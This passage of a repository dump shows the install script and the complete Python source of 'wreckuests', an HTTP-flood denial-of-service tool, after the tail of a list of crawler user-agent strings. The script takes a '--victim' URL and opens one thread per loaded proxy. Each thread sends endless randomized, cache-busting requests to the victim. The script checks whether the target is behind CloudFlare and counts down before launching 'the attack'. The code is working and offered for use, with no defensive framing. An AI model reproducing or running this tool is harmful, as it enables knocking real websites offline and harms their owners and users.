YandexMetrika/2.0; +http://yandex.com/bots) 61 | Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots yabs01) 62 | Mozilla/5.0 (compatible; YandexNews/4.0; +http://yandex.com/bots) 63 | Mozilla/5.0 (compatible; YandexOntoDB/1.0; +http://yandex.com/bots) 64 | Mozilla/5.0 (compatible; YandexOntoDBAPI/1.0; +http://yandex.com/bots) 65 | Mozilla/5.0 (compatible; YandexPagechecker/1.0; +http://yandex.com/bots) 66 | Mozilla/5.0 (compatible; YandexSearchShop/1.0; +http://yandex.com/bots) 67 | Mozilla/5.0 (compatible; YandexSitelinks; Dyatel; +http://yandex.com/bots) 68 | Mozilla/5.0 (compatible; YandexSpravBot/1.0; +http://yandex.com/bots) 69 | Mozilla/5.0 (compatible; YandexTurbo/1.0; +http://yandex.com/bots) 70 | Mozilla/5.0 (compatible; YandexVertis/3.0; +http://yandex.com/bots) 71 | Mozilla/5.0 (compatible; YandexVerticals/1.0; +http://yandex.com/bots) 72 | Mozilla/5.0 (compatible; YandexVideo/3.0; +http://yandex.com/bots) 73 | Mozilla/5.0 (compatible; YandexVideoParser/1.0; +http://yandex.com/bots) 74 | Mozilla/5.0 (compatible; YandexWebmaster/2.0; +http://yandex.com/bots) 75 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 (compatible; YandexScreenshotBot/3.0; +http://yandex.com/bots) 76 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 (compatible; YandexMedianaBot/1.0; +http://yandex.com/bots) 77 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) 78 | Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) 79 | Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) 80 | Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm) 81 | Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm) 82 | Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm) 83 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b 84 | Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko BingPreview/1.0b 85 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | apt install python3 --yes 3 | apt install python3-pip --yes 4 | pip3 install --upgrade pip 5 | pip3 install requests netaddr 6 | pip3 install --upgrade requests 7 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abriginets/wreckuests/69b6c2762f037827b83ce1593a90a3ba26f9562d/logo.png -------------------------------------------------------------------------------- /wreckuests.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import sys, os, threading, random, requests, time, getopt, socket, urllib.parse 3 | from threading import Thread, Event 4 | from netaddr import IPNetwork, IPAddress 5 | from requests.auth import HTTPBasicAuth 6 | from urllib.parse import urlparse 7 | 8 | #versioning 9 | VERSION = (0, 1, 4) 10 | __version__ = '%d.%d.%d' % VERSION[0:3] 11 | 12 | #if python ver < 3.5 13 | if sys.version_info[0:2] < (3, 5): 14 | raise RuntimeError('Python 3.5 or higher is required!') 15 | 16 | #naming the files 17 | 18 | proxy_file = 'files/proxy.txt' 19 | ua_file = 'files/user-agents.txt' 20 | ref_file = 'files/referers.txt' 21 | 22 | # initializing variables 23 | ex = Event() 24 | ips = [] 25 | ref = [] 26 | ua = [] 27 | timeout = 10 28 | proto = '' 29 | 30 | # arguments 31 | url = '' 32 | # if http auth 33 | auth = False 34 | auth_login = '' 35 | auth_pass = '' 36 | 37 | # main 38 | def main(argv): 39 | try: 40 | opts, args = getopt.getopt(argv, 'hv:a:t:', ['help', 'victim=', 'auth=', 'timeout=']) 41 | except getopt.GetoptError as err: 42 | print(err) 43 | showUsage() 44 | sys.exit(2) 45 | for opt, arg in opts: 46 | if opt in ('-h', '--help'): 47 | showUsage() 48 | sys.exit(2) 49 | elif opt in ('-v', '--victim'): 50 | if len(arg) >= 1: 51 | global url 52 | url = urllib.parse.unquote(arg) 53 | # defining protocol 54 | global proto 55 | link = urlparse(url) 56 | proto = link.scheme 57 | else: 58 | print('Parameter [--victim] must be a string and not to be empty!') 59 | sys.exit(2) 60 | elif opt in ('-a', '--auth'): 61 | global auth 62 | global auth_login 63 | global auth_pass 64 | auth = True 65 | auth_login = arg.split(':')[0] 66 | auth_pass = arg.split(':')[1] 67 | elif opt in ('-t', '--timeout'): 68 | arg = int(arg) 69 | if isinstance(arg, int) and arg >= 1: 70 | global timeout 71 | timeout = arg 72 | else: 73 | print('Parameter [--timeout] must be an integer and not to be less than 1') 74 | sys.exit(2) 75 | parseFiles() 76 | 77 | def parseFiles(): 78 | #trying to find and parse file with proxies 79 | try: 80 | if os.stat(proxy_file).st_size > 0: 81 | with open(proxy_file) as proxy: 82 | global ips 83 | ips = [row.rstrip() for row in proxy] 84 | else: 85 | print('Error: File %s is empty!' % proxy_file) 86 | sys.exit() 87 | except OSError: 88 | print('Error: %s was not found!' % proxy_file) 89 | sys.exit() 90 | #trying to find and parse file with User-Agents 91 | try: 92 | if os.stat(ua_file).st_size > 0: 93 | with open(ua_file) as user_agents: 94 | global ua 95 | ua = [row.rstrip() for row in user_agents] 96 | else: 97 | print('Error: File %s is empty' % ua_file) 98 | sys.exit() 99 | except OSError: 100 | print('Error: %s was not found!' % ua_file) 101 | sys.exit() 102 | #trying to find and parse file with referers 103 | try: 104 | if os.stat(ref_file).st_size > 0: 105 | with open(ref_file) as referers: 106 | global ref 107 | ref = [row.rstrip() for row in referers] 108 | else: 109 | print('Error: File %s is empty!' % ref_file) 110 | sys.exit() 111 | except OSError: 112 | print('Error: %s was not found!' % ref_file) 113 | sys.exit() 114 | #parse end 115 | # messaging statistics 116 | print('Loaded: {} proxies, {} user-agents, {} referers'.format(len(ips), len(ua), len(ref))) 117 | cloudFlareCheck() 118 | 119 | def request(index): 120 | err_count = 0 121 | global url 122 | while not ex.is_set(): 123 | timestamp = str(int(time.time())) 124 | headers = {'User-Agent': random.choice(ua), 125 | 'Referer': random.choice(ref) + url, 126 | 'Accept-Encoding': 'gzip;q=0,deflate,sdch', 127 | 'Cache-Control': 'no-cache, no-store, must-revalidate', 128 | 'Pragma': 'no-cache'} 129 | proxy = {proto: ips[index]} 130 | try: 131 | if auth: 132 | r = requests.get(url + '?' + timestamp, headers=headers, proxies=proxy, timeout=timeout, auth=HTTPBasicAuth(auth_login, auth_pass)) 133 | else: 134 | r = requests.get(url + '?' + timestamp, headers=headers, proxies=proxy, timeout=timeout) 135 | if r.status_code == 301 or r.status_code == 302 or r.status_code == 307: 136 | url = r.headers['Location'] 137 | print('Request was redirected to {}'.format(url)) 138 | except requests.exceptions.ChunkedEncodingError: 139 | pass 140 | except requests.exceptions.ConnectionError: 141 | err_count += 1 142 | except requests.exceptions.ReadTimeout: 143 | pass 144 | if err_count >= 20: 145 | print("Proxy " + ips[index] + " has been kicked from attack due to it's nonoperability") 146 | return 147 | 148 | #CloudFlare Check and noticing 149 | def cloudFlareCheck(): 150 | global url 151 | if isCloudFlare(url) is True: 152 | print("*** Your target is hidding behind CloudFlare! This attack may not entail any consequences to the victim's web-site.") 153 | time.sleep(1) 154 | for i in range(5, 0, -1): 155 | print('Your attack will be launched in ' + str(i) + ' seconds...', end='\r') 156 | time.sleep(1) 157 | print('\nStart sending requests...') 158 | startAttack() 159 | else: 160 | print('Start sending requests...') 161 | startAttack() 162 | 163 | 164 | # Creating a thread pool 165 | def startAttack(): 166 | threads = [] 167 | for i in range(len(ips)): 168 | t = threading.Thread(target=request, args=(i,)) 169 | t.daemon = True 170 | t.start() 171 | threads.append(t) 172 | try: 173 | while True: 174 | time.sleep(.05) 175 | except KeyboardInterrupt: 176 | ex.set() 177 | print('\rAttack has been stopped!\nGive up to ' + str(timeout) + ' seconds to release the threads...') 178 | for t in threads: 179 | t.join() 180 | 181 | def isCloudFlare(link): 182 | #get origin IP by domain 183 | parsed_uri = urlparse(link) 184 | domain = '{uri.netloc}'.format(uri=parsed_uri) 185 | try: 186 | origin = socket.gethostbyname(domain) 187 | iprange = requests.get('https://www.cloudflare.com/ips-v4').text 188 | #get CloudFlare's IP range 189 | ipv4 = [row.rstrip() for row in iprange.splitlines()] 190 | # 191 | for i in range(len(ipv4)): 192 | if addressInNetwork(origin, ipv4[i]): 193 | return True 194 | except socket.gaierror: 195 | print("Unable to verify if victim's IP address belong to a CloudFlare's subnet") 196 | return 197 | 198 | def addressInNetwork(ip, net): 199 | if IPAddress(ip) in IPNetwork(net): 200 | return True 201 | 202 | def showUsage(): 203 | print("Usage: wreckuests.py [-v] [-a] [-t] \nPlease, read more about arguments in GitHub repository!") 204 | 205 | if __name__ == '__main__': 206 | main(sys.argv[1:]) 207 | --------------------------------------------------------------------------------